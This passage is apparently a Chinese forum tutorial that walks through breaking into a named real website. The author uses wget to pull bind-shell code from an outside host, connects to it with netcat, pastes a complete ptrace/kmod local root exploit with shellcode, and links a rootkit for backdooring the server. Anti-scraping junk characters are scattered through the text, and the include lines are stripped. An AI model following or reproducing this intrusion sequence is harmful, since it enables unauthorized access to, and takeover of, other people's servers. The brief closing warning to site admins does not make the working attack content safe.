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http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了,9 M0 k$ v* @- f- q. {2 J! m2 O( \7 L" \
就可以用wget这个命令来下载了,输入
) |; |. u+ C, ewget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思- L; w/ q) ]; q+ R4 i3 {( U
就是下载这个shell.c到/tmp目录下,如图6 9 B& ]4 z! m' z0 _
然后ls /tmp得到下面的结果,[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain
2 e9 a$ s; A! x; v2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs$ W# Z0 p; ^: @1 }5 b n, [" w
这个时候就说明已经成功了,现在我们查找一下gcc在哪里,别到时候闹了半天2 S) k: c: F: j' |! I, C1 ^
在没有gcc就麻烦了,然后输入whereis -b gcc意思就是查找gcc的全路径输出结果( I1 [2 K$ b1 q
[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain% C2 m6 y- O% g; J# c+ ~$ `3 s
12gcc: /usr/bin/gcc
9 E4 h3 p/ A v# Q0 X X0 n7 K好了找到gcc了,接下来的事就好办了,编译源程序gcc shell-bind-shell.c -o bind
; D' c2 u2 A1 n4 K编译成功在/tmp目录下多了一个我们编译的bind程序,下面我们就来执行它吧,
3 n) i9 e' A6 _+ z7 f: ]/tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成,根据程序的介绍我' ~8 f! ~8 V& K
们知道他开了20000端口,我们telnet 上去吧,telnet www.sealia.com 20000! v1 G5 p# T- |$ r
哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found"
9 i+ e% `/ u# d呢,我晕了,没错啊,看看源程序吧,找到了最后,哈哈知道了原因,- B1 ?9 l; u/ m' j- G4 i
Note: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000% ^2 V9 l6 P; A
(nc is netcat).好了知道为什么了,我们就换nc提交吧,执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢,跑了将近半个小时了,不等了,关闭它,太浪费资源了,这个时候我大概知道他是一个linux的操作系统,但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的,下面咱们来提升权限吧,就是拿到root,这里说明一下这里有2个很好用的漏洞利用程序,一个是Linux Kernel do_mremap VMA本地权限提升漏洞(漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了,咱们开始提升权限吧,大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/*% _ J4 D/ g( s
* Linux kernel ptrace/kmod local root exploit4 x5 ]0 F& Y$ u% s' @) f1 l: b
*$ J8 t3 ~ O, u ?) p; v) }
* This code exploits a race condition in kernel/kmod.c, which creates- D \; X P$ F& Y. Z5 i) Y' P3 k
* kernel thread in insecure manner. This bug allows to ptrace cloned
M* y) k: g0 b* process, allowing to take control over privileged modprobe binary." h$ @2 b, |1 Y& @5 z
*
- b# e% [- ?" ?' j, ]) x' G* c* Should work under all current 2.2.x and 2.4.x kernels.
! o6 r4 U5 ^2 f* , Z! s0 T+ F: H; f( W
* I discovered this stupid bug independently on January 25, 2003, that 9 j' b4 ]) t1 U/ U! ]. t0 L. ^1 h
* is (almost) two month before it was fixed and published by Red Hat
" T- d+ V$ ?4 [8 T( T* and others.
' y Y9 @0 `( `* \- |$ U1 ]) b/ v& n w
* Wojciech Purczynski <cliph@isec.pl>
( O6 I. w( u2 z# @*
' M& W8 M( x. a- Y' W* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*3 N9 q9 F$ A, k
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
& y! h% e$ ?7 }2 A" \*
# W0 N' v7 u- u H* (c) 2003 Copyright by iSEC Security Research. G% X% ?$ n y9 ^- Q2 Z
*/ #include
; y1 {; L) b+ q0 u8 c* K/ k2 \#include - }5 m, }/ q6 h4 w
#include q+ C% ]; |! N1 Z2 ^) [" n$ l
#include
. v( [2 x2 M! {, h9 l) b2 D, O#include
: H$ |# v" S' P! g8 f0 ^#include
- y5 D! w$ [" E" a* c z) k% M" S#include & K* l- e; l2 r5 j8 C
#include
* W" M8 Y: b& Y. n( _$ I#include , W I L I9 e6 t9 \
#include
6 g: e; L0 M4 ^5 N$ O#include ( @, ?- l% ]! l% A0 `
#include
/ X3 m% t6 ^+ `# ^* w. u#include 5 @2 c# H2 F5 J3 V
#include
$ `9 @8 ~' F+ H#include
; k9 i. \2 F2 L#include char cliphcode[] =% i8 _3 m: D6 y$ H
"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"# n. v& C6 z( u+ @$ ^3 Y& m$ M1 W
"\x00\x5b\x31\xc9\x89\xca\xcd\x80": u* a8 }" b9 T; ~
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
" y- k" |$ Q: k# z5 M"\x00\x00\xcd\x80\x89\xd0\x89\xd3"" t5 Z& ~$ ~% A
"\x40\xcd\x80\xe8\xdc\xff\xff\xff"; #define CODE_SIZE (sizeof(cliphcode) - 1) pid_t parent = 1;
8 V- z5 A# V5 h4 ^/ N/ _3 B/ D. v+ Lpid_t child = 1;
- [$ X) o% F. V9 [' a1 Fpid_t victim = 1;1 D$ {7 r0 q8 C d5 f
volatile int gotchild = 0; void fatal(char * msg). w% D4 F3 P# |$ a$ N
{3 E4 @ a% |' V. q9 N# X
perror(msg);/ J2 f; _( [& m1 f' O
kill(parent, SIGKILL);
! G2 f5 G+ F7 h- X3 |. ]- }kill(child, SIGKILL);8 u; }" B0 X% z; f2 i
kill(victim, SIGKILL);
9 L, s* N3 E! b R} void putcode(unsigned long * dst)
; N! w1 \+ H# H) v1 a{
' D8 O' o( l% p, U' |- Q7 @2 Pchar buf[MAXPATHLEN + CODE_SIZE];) C& }! @8 ^3 t8 k+ N
unsigned long * src;1 r1 x7 w0 C2 I$ U6 h" P
int i, len; memcpy(buf, cliphcode, CODE_SIZE);. `& h8 h4 j/ m$ }7 U
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
4 y: |7 B2 {" z& s) O& Jif (len == -1)6 g N) I/ X/ ]* c3 D
fatal("[-] Unable to read /proc/self/exe"); len += CODE_SIZE + 1;
" _" F5 }8 @2 @9 {/ |* qbuf[len] = '\0'; src = (unsigned long*) buf;
+ k1 ?" @0 S1 \% R& l s' C ?for (i = 0; i < len; i += 4)
+ l0 G# R; f" d4 ^. O2 Iif (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)# g9 }# Y: m7 {2 Z$ B* N* \
fatal("[-] Unable to write shellcode");; r0 U$ \% F) T+ `) q
} void sigchld(int signo)% x" V! j; Y5 g' r
{0 |% V ]! |5 j$ C
struct user_regs_struct regs; if (gotchild++ == 0)+ H" k$ C2 P' c; W+ p6 H
return; fprintf(stderr, "[+] Signal caught\n"); if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1)
' g( u8 q) ~+ n% u# Tfatal("[-] Unable to read registers"); fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip); putcode((unsigned long *)regs.eip); fprintf(stderr, "[+] Now wait for suid shell...\n"); if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1). d4 }; Q/ L; x# y, B- F# i$ h# K
fatal("[-] Unable to detach from victim"); exit(0);
8 q# O1 m7 k4 F0 c) L9 D} void sigalrm(int signo)
8 n3 |& a7 w! Q6 ?# B; a) q{% U; Z0 w' g9 L" V
errno = ECANCELED;0 Y5 F2 j' C& f+ C2 j7 \
fatal("[-] Fatal error");
3 s" H5 C) U- `/ ?8 O" O7 P5 ]- }& I} void do_child(void)+ U+ @% \% _2 {9 U2 v5 W
{
' z& C) o2 d8 o4 h: _8 Qint err; child = getpid();- @2 T: {+ L: l
victim = child + 1; signal(SIGCHLD, sigchld); do5 D6 V" @% v( k
err = ptrace(PTRACE_ATTACH, victim, 0, 0);
* L1 `4 E4 Z% {0 l5 m% J) }while (err == -1 && errno == ESRCH); if (err == -1)# I2 e: o; E( @3 t
fatal("[-] Unable to attach"); fprintf(stderr, "[+] Attached to %d\n", victim);
3 D* H7 ?$ g9 J' ~while (!gotchild) ;* Z3 x3 l) H" `$ }4 _( R
if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
2 l& W5 w& ~; A. E O- K4 b5 p' Pfatal("[-] Unable to setup syscall trace");7 Q' f" [( N9 I+ T
fprintf(stderr, "[+] Waiting for signal\n"); for(;;);
) z4 `+ o W5 a6 \. B! x2 S} void do_parent(char * progname), |/ ?' Q( `' e5 w" h$ K7 ?+ w
{$ h# V3 R) R" c. m0 p) b) R( F* y
struct stat st;
. K+ @2 j* H2 P$ {7 Oint err;4 f% i, B- v( q3 W
errno = 0;
' V5 O7 ~0 ]0 y5 f4 u) w. O$ _% usocket(AF_SECURITY, SOCK_STREAM, 1);
& g- ~7 R" @" Z8 F* ^do {
4 C3 _8 [( y: w' [5 u, herr = stat(progname, &st);
" g$ }1 S. ^8 f: A& F0 M- H} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID); if (err == -1) U# n6 u# z: v
fatal("[-] Unable to stat myself"); alarm(0);
4 N" F; c9 t- N/ U. h. n o7 O, |/ tsystem(progname);
, [4 m8 V9 V1 g4 V$ t) g+ P} void prepare(void)0 k) A# Z& `5 J
{0 h: r; L3 n% T. Z- l
if (geteuid() == 0) {
* x, b8 s# I/ P, A2 }; _& N) B) H# Ginitgroups("root", 0);0 P: t! r2 T2 w6 T9 F2 y M' l
setgid(0);& e7 x7 V% U4 J$ l! V b( F9 X. L
setuid(0);) `/ b% H Z* g# F
execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
* G3 j+ y% j1 `! u- k1 l! Ufatal("[-] Unable to spawn shell");/ D" [* t, [9 ^8 j
}. j! H0 _ B4 `, ]& B! D
} int main(int argc, char ** argv)+ \4 \9 G$ {$ c& d" B( i
{& P' c+ `1 f1 Z& [$ Y( u
prepare();# j/ r1 X- g, L3 ]& |, I
signal(SIGALRM, sigalrm);
9 O# p C4 L0 m+ [4 `9 R3 Walarm(10); parent = getpid();
& M3 P$ a, Q; X% q" U/ `" R4 Qchild = fork();
* T* k5 j p7 \; |victim = child + 1; if (child == -1)8 O {9 Q1 ^( w
fatal("[-] Unable to fork"); if (child == 0)8 a* D* K( I& ^1 s J9 g
do_child();
+ I# R5 L+ T7 ?6 A& d: t4 Helse
- I1 j) s p+ E- I K7 E Odo_parent(argv[0]); return 0;
' X3 ]6 W- f5 E}CRTL+C保存,然后编译gcc 1.c -o 1编译成功,然后输入./1程序开始执行了,-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了,剩下的工作就是安装后门了,大家可以参考我另外的一篇文章,more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了,其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞,这一点点的小漏洞就可以把能拿到系统的最高权限,可见其危害性,希望国内的网管能够重视起来. |